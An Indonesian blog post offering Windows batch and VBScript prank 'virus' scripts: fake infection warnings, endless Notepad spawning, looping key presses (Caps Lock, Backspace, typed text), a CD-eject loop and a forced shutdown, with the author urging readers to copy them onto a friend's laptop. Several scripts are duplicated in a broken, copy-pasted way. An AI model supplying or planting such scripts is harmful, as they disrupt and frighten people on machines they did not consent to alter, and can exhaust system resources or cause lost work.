- Membuat Pesan yang Muncul Berulang-Ulang
@ECHO off
:Begin
msg * ini virus brontok
msg * komputer anda telah terinfeksi
msg * bentar lagi rusak loh
msg * cpu anda akan terbakar
msg * bye bye
GOTO BEGIN
Simpan dengan Nama apapun asal formatnya (nama file).bat
- Membuat Tombol Capslock Menyala Terus
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Simpan dengan nama apapun asal formatnya (nama file).vbs
- Membuka Notepad Terus Menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Simpan dengan nama apapun asal formatnya (nama file).bat
- Membuka dan Menutup CD Drive Komputer
Ketik/Copy Script Dibawah Ini ke Notepad Anda
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama apapun asal formatnya (nama file).vbs
- Notepad Menulis Sendiri
Ketik/Copy Script Dibawah Ini ke Notepad Anda
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Tulisan ini akan menulis sendiri di notepad anda”
loop
do
wscript.sleep 100
wshshell.sendkeys “Tulisan ini akan menulis sendiri di notepad anda”
loop
Simpan dengan nama apapun asal formatnya (nama file).vbs
- Mematikan Komputer dan Muncul Pesan
@echo off
msg * Hahahahhaha
shutdown -s -c “Komputer anda mati”
msg * Hahahahhaha
shutdown -s -c “Komputer anda mati”
Simpan dengan nama apapun asal formatnya (nama file).bat
- Membuat Tombol Backspace Aktif Terus
MsgBox “Kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Simpan dengan nama apapun asal formatnya (nama file).vbs
Setelah agan selesai biar greget langsung dicoba gan atau kalau mau lebih greget copy in ke laptop temen biar supertrap :D
Referensi : Dari berbagai sumber
No comments:
Post a Comment
Budayakan komen gan ! Sekalian silaturahmi :D